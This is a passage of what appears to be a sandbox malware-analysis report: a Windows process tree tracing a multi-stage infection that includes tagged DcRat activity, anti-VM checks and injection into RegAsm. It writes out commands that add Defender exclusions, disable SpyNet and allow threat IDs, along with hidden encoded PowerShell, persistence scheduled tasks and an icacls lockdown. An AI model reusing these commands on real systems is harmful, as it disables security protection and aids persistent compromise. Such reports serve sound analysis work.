                                                  • C:\Users\Admin\Pictures\fI07eSFT03w2dZJ3Mls6GxLk.exe
                                                    C:\Users\Admin\Pictures\fI07eSFT03w2dZJ3Mls6GxLk.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=108.0.5067.40 --initial-client-data=0x2b4,0x2b8,0x2bc,0x290,0x2c0,0x6abc21f8,0x6abc2204,0x6abc2210
                                                    5⤵
                                                    • Executes dropped EXE
                                                    • Loads dropped DLL
                                                    PID:4172
                                                  • C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\fI07eSFT03w2dZJ3Mls6GxLk.exe
                                                    "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\fI07eSFT03w2dZJ3Mls6GxLk.exe" --version
                                                    5⤵
                                                    • Executes dropped EXE
                                                    • Loads dropped DLL
                                                    PID:5156
                                                  • C:\Users\Admin\Pictures\fI07eSFT03w2dZJ3Mls6GxLk.exe
                                                    "C:\Users\Admin\Pictures\fI07eSFT03w2dZJ3Mls6GxLk.exe" --backend --install --import-browser-data=0 --enable-stats=1 --enable-installer-stats=1 --consent-given=0 --general-interests=0 --general-location=0 --personalized-content=0 --personalized-ads=0 --launchopera=1 --installfolder="C:\Users\Admin\AppData\Local\Programs\Opera" --profile-folder --language=en --singleprofile=0 --copyonly=0 --allusers=0 --setdefaultbrowser=1 --pintotaskbar=1 --pintostartmenu=1 --run-at-startup=1 --show-intro-overlay --server-tracking-data=server_tracking_data --initial-pid=1352 --package-dir-prefix="C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_20240325050637" --session-guid=ffac7ea8-8fa9-4bc8-9f4a-a79d8d58c62d --server-tracking-blob=ZmQ5NWZkNjNjODMyMmU1MzI1Y2ZlYWYwNzYxZmNmMDU2YjliMTk3MDVlNmRlMzcwMTQ1OWRhMDkzMjBhOTRkYzp7ImNvdW50cnkiOiJHQiIsImluc3RhbGxlcl9uYW1lIjoiT3BlcmFTZXR1cC5leGUiLCJwcm9kdWN0Ijp7Im5hbWUiOiJvcGVyYSJ9LCJxdWVyeSI6Ii9vcGVyYS9zdGFibGUvd2luZG93cy8/dXRtX21lZGl1bT1hcGImdXRtX3NvdXJjZT1ta3QmdXRtX2NhbXBhaWduPTc2NyIsInN5c3RlbSI6eyJwbGF0Zm9ybSI6eyJhcmNoIjoieDg2XzY0Iiwib3BzeXMiOiJXaW5kb3dzIiwib3BzeXMtdmVyc2lvbiI6IjEwIiwicGFja2FnZSI6IkVYRSJ9fSwidGltZXN0YW1wIjoiMTcxMTM0MzE4NC4yNzIyIiwidXRtIjp7ImNhbXBhaWduIjoiNzY3IiwibWVkaXVtIjoiYXBiIiwic291cmNlIjoibWt0In0sInV1aWQiOiJiNzBhYWY4OC00OGM4LTQyZjktOTg0My05ZWE1MTZhMjI3YzkifQ== --silent --desktopshortcut=1 --wait-for-package --initial-proc-handle=5404000000000000
                                                    5⤵
                                                    • Executes dropped EXE
                                                    • Loads dropped DLL
                                                    • Enumerates connected drives
                                                    PID:5336
                                                    • C:\Users\Admin\Pictures\fI07eSFT03w2dZJ3Mls6GxLk.exe
                                                      C:\Users\Admin\Pictures\fI07eSFT03w2dZJ3Mls6GxLk.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=108.0.5067.40 --initial-client-data=0x2c0,0x2c4,0x2c8,0x290,0x2cc,0x6a2421f8,0x6a242204,0x6a242210
                                                      6⤵
                                                      • Executes dropped EXE
                                                      • Loads dropped DLL
                                                      PID:5436
                                                  • C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202403250506371\assistant\Assistant_108.0.5067.20_Setup.exe_sfx.exe
                                                    "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202403250506371\assistant\Assistant_108.0.5067.20_Setup.exe_sfx.exe"
                                                    5⤵
                                                      PID:3456
                                                    • C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202403250506371\assistant\assistant_installer.exe
                                                      "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202403250506371\assistant\assistant_installer.exe" --version
                                                      5⤵
                                                        PID:3868
                                                        • C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202403250506371\assistant\assistant_installer.exe
                                                          "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202403250506371\assistant\assistant_installer.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=108.0.5067.20 --initial-client-data=0x248,0x24c,0x250,0x224,0x254,0x1280040,0x128004c,0x1280058
                                                          6⤵
                                                            PID:3856
                                                      • C:\Users\Admin\Pictures\BcYeaLeGFO1Kc5t75Z6NYDXE.exe
                                                        "C:\Users\Admin\Pictures\BcYeaLeGFO1Kc5t75Z6NYDXE.exe"
                                                        4⤵
                                                        • Executes dropped EXE
                                                        PID:5372
                                                        • C:\Users\Admin\AppData\Local\Temp\7zS277F.tmp\Install.exe
                                                          .\Install.exe
                                                          5⤵
                                                          • Executes dropped EXE
                                                          PID:5936
                                                          • C:\Users\Admin\AppData\Local\Temp\7zS2FDB.tmp\Install.exe
                                                            .\Install.exe /fzMdidjCA "385118" /S
                                                            6⤵
                                                            • Checks BIOS information in registry
                                                            • Executes dropped EXE
                                                            • Drops file in System32 directory
                                                            • Enumerates system info in registry
                                                            PID:5820
                                                            • C:\Windows\SysWOW64\forfiles.exe
                                                              "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
                                                              7⤵
                                                                PID:704
                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                  /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
                                                                  8⤵
                                                                    PID:6072
                                                                    • \??\c:\windows\SysWOW64\reg.exe
                                                                      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
                                                                      9⤵
                                                                        PID:2276
                                                                      • \??\c:\windows\SysWOW64\reg.exe
                                                                        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
                                                                        9⤵
                                                                          PID:5732
                                                                    • C:\Windows\SysWOW64\forfiles.exe
                                                                      "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
                                                                      7⤵
                                                                        PID:5292
                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                          /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
                                                                          8⤵
                                                                            PID:5524
                                                                            • \??\c:\windows\SysWOW64\reg.exe
                                                                              REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
                                                                              9⤵
                                                                                PID:5656
                                                                              • \??\c:\windows\SysWOW64\reg.exe
                                                                                REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
                                                                                9⤵
                                                                                  PID:360
                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                              schtasks /CREATE /TN "guazlFJvw" /SC once /ST 00:08:04 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                                              7⤵
                                                                              • DcRat
                                                                              • Creates scheduled task(s)
                                                                              PID:5772
                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                              schtasks /run /I /tn "guazlFJvw"
                                                                              7⤵
                                                                                PID:6000
                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                schtasks /DELETE /F /TN "guazlFJvw"
                                                                                7⤵
                                                                                  PID:1468
                                                                                  • C:\Windows\System32\Conhost.exe
                                                                                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                    8⤵
                                                                                      PID:1380
                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                    schtasks /CREATE /TN "bdnnguwcOLBYKAjbbA" /SC once /ST 05:08:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\ElyBxStRAaEXFVuko\naOnfwtmHGUDmSz\JZzVLyM.exe\" id /wzsite_idtmd 385118 /S" /V1 /F
                                                                                    7⤵
                                                                                    • DcRat
                                                                                    • Drops file in Windows directory
                                                                                    • Creates scheduled task(s)
                                                                                    PID:432
                                                                        • C:\Users\Admin\AppData\Local\Temp\1000087001\amadka.exe
                                                                          "C:\Users\Admin\AppData\Local\Temp\1000087001\amadka.exe"
                                                                          2⤵
                                                                          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                          • Checks BIOS information in registry
                                                                          • Executes dropped EXE
                                                                          • Identifies Wine through registry keys
                                                                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                          PID:3084
                                                                      • C:\Windows\system32\cmd.exe
                                                                        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\A85.bat" "
                                                                        1⤵
                                                                          PID:604
                                                                          • C:\Windows\system32\reg.exe
                                                                            reg add "HKEY_CURRENT_USER\Software\clicker\key" /v primary /t REG_DWORD /d 1
                                                                            2⤵
                                                                              PID:32
                                                                          • C:\Users\Admin\AppData\Local\Temp\09fd851a4f\explorha.exe
                                                                            C:\Users\Admin\AppData\Local\Temp\09fd851a4f\explorha.exe
                                                                            1⤵
                                                                            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                            • Checks BIOS information in registry
                                                                            • Executes dropped EXE
                                                                            • Identifies Wine through registry keys
                                                                            • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                            PID:444
                                                                          • C:\Users\Admin\AppData\Local\Temp\1000082001\boom8.exe
                                                                            C:\Users\Admin\AppData\Local\Temp\1000082001\boom8.exe
                                                                            1⤵
                                                                            • Executes dropped EXE
                                                                            PID:3032
                                                                          • C:\Users\Admin\AppData\Local\Temp\5972.exe
                                                                            C:\Users\Admin\AppData\Local\Temp\5972.exe
                                                                            1⤵
                                                                            • Executes dropped EXE
                                                                            • Suspicious use of SetThreadContext
                                                                            PID:2628
                                                                            • C:\Users\Admin\AppData\Local\Temp\5972.exe
                                                                              C:\Users\Admin\AppData\Local\Temp\5972.exe
                                                                              2⤵
                                                                              • Executes dropped EXE
                                                                              • Adds Run key to start application
                                                                              PID:4832
                                                                              • C:\Windows\SysWOW64\icacls.exe
                                                                                icacls "C:\Users\Admin\AppData\Local\2ba928f0-5492-4124-ac73-055849ef4c5e" /deny *S-1-1-0:(OI)(CI)(DE,DC)
                                                                                3⤵
                                                                                • Modifies file permissions
                                                                                PID:32
                                                                              • C:\Users\Admin\AppData\Local\Temp\5972.exe
                                                                                "C:\Users\Admin\AppData\Local\Temp\5972.exe" --Admin IsNotAutoStart IsNotTask
                                                                                3⤵
                                                                                • Executes dropped EXE
                                                                                • Suspicious use of SetThreadContext
                                                                                PID:5076
                                                                                • C:\Users\Admin\AppData\Local\Temp\5972.exe
                                                                                  "C:\Users\Admin\AppData\Local\Temp\5972.exe" --Admin IsNotAutoStart IsNotTask
                                                                                  4⤵
                                                                                  • Executes dropped EXE
                                                                                  PID:4180
                                                                                  • C:\Users\Admin\AppData\Local\975b09a6-e62d-4d4f-b045-6ed169a90453\build2.exe
                                                                                    "C:\Users\Admin\AppData\Local\975b09a6-e62d-4d4f-b045-6ed169a90453\build2.exe"
                                                                                    5⤵
                                                                                    • Executes dropped EXE
                                                                                    • Suspicious use of SetThreadContext
                                                                                    PID:4244
                                                                                    • C:\Users\Admin\AppData\Local\975b09a6-e62d-4d4f-b045-6ed169a90453\build2.exe
                                                                                      "C:\Users\Admin\AppData\Local\975b09a6-e62d-4d4f-b045-6ed169a90453\build2.exe"
                                                                                      6⤵
                                                                                      • Executes dropped EXE
                                                                                      PID:1096
                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 1096 -s 1880
                                                                                        7⤵
                                                                                        • Program crash
                                                                                        PID:3108
                                                                                  • C:\Users\Admin\AppData\Local\975b09a6-e62d-4d4f-b045-6ed169a90453\build3.exe
                                                                                    "C:\Users\Admin\AppData\Local\975b09a6-e62d-4d4f-b045-6ed169a90453\build3.exe"
                                                                                    5⤵
                                                                                    • Executes dropped EXE
                                                                                    PID:2412
                                                                                    • C:\Users\Admin\AppData\Local\975b09a6-e62d-4d4f-b045-6ed169a90453\build3.exe
                                                                                      "C:\Users\Admin\AppData\Local\975b09a6-e62d-4d4f-b045-6ed169a90453\build3.exe"
                                                                                      6⤵
                                                                                        PID:3900
                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                          /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
                                                                                          7⤵
                                                                                          • DcRat
                                                                                          • Creates scheduled task(s)
                                                                                          PID:4032
                                                                            • C:\Users\Admin\AppData\Local\Temp\8F48.exe
                                                                              C:\Users\Admin\AppData\Local\Temp\8F48.exe
                                                                              1⤵
                                                                              • Executes dropped EXE
                                                                              • Suspicious use of SetThreadContext
                                                                              PID:696
                                                                              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                                                                                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                                                                                2⤵
                                                                                • Modifies system certificate store
                                                                                PID:1380
                                                                            • \??\c:\windows\system32\svchost.exe
                                                                              c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s fhsvc
                                                                              1⤵
                                                                                PID:6132
                                                                              • C:\Windows\system32\svchost.exe
                                                                                C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
                                                                                1⤵
                                                                                  PID:6080
                                                                                • C:\Users\Admin\AppData\Local\Temp\09fd851a4f\explorha.exe
                                                                                  C:\Users\Admin\AppData\Local\Temp\09fd851a4f\explorha.exe
                                                                                  1⤵
                                                                                  • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                                  • Checks BIOS information in registry
                                                                                  • Executes dropped EXE
                                                                                  • Identifies Wine through registry keys
                                                                                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                  PID:5360
                                                                                • C:\Users\Admin\AppData\Local\Temp\1000082001\boom8.exe
                                                                                  C:\Users\Admin\AppData\Local\Temp\1000082001\boom8.exe
                                                                                  1⤵
                                                                                  • Executes dropped EXE
                                                                                  PID:5204
                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                                                                  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                                                                                  1⤵
                                                                                    PID:6088
                                                                                    • C:\Windows\system32\gpupdate.exe
                                                                                      "C:\Windows\system32\gpupdate.exe" /force
                                                                                      2⤵
                                                                                        PID:5220
                                                                                    • C:\Users\Admin\AppData\Local\Temp\7AA3.exe
                                                                                      C:\Users\Admin\AppData\Local\Temp\7AA3.exe
                                                                                      1⤵
                                                                                      • Executes dropped EXE
                                                                                      PID:6068
                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 6068 -s 572
                                                                                        2⤵
                                                                                        • Program crash
                                                                                        PID:5812
                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 6068 -s 572
                                                                                        2⤵
                                                                                        • Program crash
                                                                                        PID:5576
                                                                                    • C:\Windows\system32\cmd.exe
                                                                                      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\905E.bat" "
                                                                                      1⤵
                                                                                        PID:2124
                                                                                        • C:\Windows\system32\reg.exe
                                                                                          reg add "HKEY_CURRENT_USER\Software\clicker\key" /v primary /t REG_DWORD /d 1
                                                                                          2⤵
                                                                                            PID:688
                                                                                        • C:\Windows\windefender.exe
                                                                                          C:\Windows\windefender.exe
                                                                                          1⤵
                                                                                          • Executes dropped EXE
                                                                                          PID:4140
                                                                                        • \??\c:\windows\system32\svchost.exe
                                                                                          c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s fhsvc
                                                                                          1⤵
                                                                                            PID:1832
                                                                                          • C:\Windows\system32\gpscript.exe
                                                                                            gpscript.exe /RefreshSystemParam
                                                                                            1⤵
                                                                                              PID:5208
                                                                                            • C:\Users\Admin\AppData\Local\Temp\D076.exe
                                                                                              C:\Users\Admin\AppData\Local\Temp\D076.exe
                                                                                              1⤵
                                                                                              • Executes dropped EXE
                                                                                              • Suspicious use of SetThreadContext
                                                                                              PID:3052
                                                                                              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                                                                                                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                                                                                                2⤵
                                                                                                  PID:5300
                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 5300 -s 1112
                                                                                                    3⤵
                                                                                                    • Program crash
                                                                                                    PID:3096
                                                                                              • C:\Windows\explorer.exe
                                                                                                explorer.exe
                                                                                                1⤵
                                                                                                • Modifies Installed Components in the registry
                                                                                                • Enumerates connected drives
                                                                                                • Drops file in Windows directory
                                                                                                • Modifies registry class
                                                                                                • Suspicious use of FindShellTrayWindow
                                                                                                • Suspicious use of SendNotifyMessage
                                                                                                PID:3084
                                                                                              • C:\Windows\system32\svchost.exe
                                                                                                C:\Windows\system32\svchost.exe -k wsappx -s AppXSvc
                                                                                                1⤵
                                                                                                  PID:5772
                                                                                                • C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe
                                                                                                  "C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe" -ServerName:CortanaUI.AppXa50dqqa5gqv4a428c9y1jjw7m3btvepj.mca
                                                                                                  1⤵
                                                                                                    PID:5460
                                                                                                  • C:\Users\Admin\AppData\Local\Temp\ElyBxStRAaEXFVuko\naOnfwtmHGUDmSz\JZzVLyM.exe
                                                                                                    C:\Users\Admin\AppData\Local\Temp\ElyBxStRAaEXFVuko\naOnfwtmHGUDmSz\JZzVLyM.exe id /wzsite_idtmd 385118 /S
                                                                                                    1⤵
                                                                                                      PID:4336
                                                                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                        powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
                                                                                                        2⤵
                                                                                                          PID:1632
                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                            "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                                                                                                            3⤵
                                                                                                              PID:2192
                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                                                                                                                4⤵
                                                                                                                  PID:5832
                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
                                                                                                                3⤵
                                                                                                                  PID:5748
                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
                                                                                                                  3⤵
                                                                                                                    PID:4088
                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
                                                                                                                    3⤵
                                                                                                                      PID:3532
                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
                                                                                                                      3⤵
                                                                                                                        PID:4364
                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
                                                                                                                        3⤵
                                                                                                                          PID:1948
                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
                                                                                                                          3⤵
                                                                                                                            PID:3528
                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
                                                                                                                            3⤵
                                                                                                                              PID:3660
                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
                                                                                                                              3⤵
                                                                                                                                PID:4072
                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
                                                                                                                                3⤵
                                                                                                                                  PID:5724
                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
                                                                                                                                  3⤵
                                                                                                                                    PID:3576
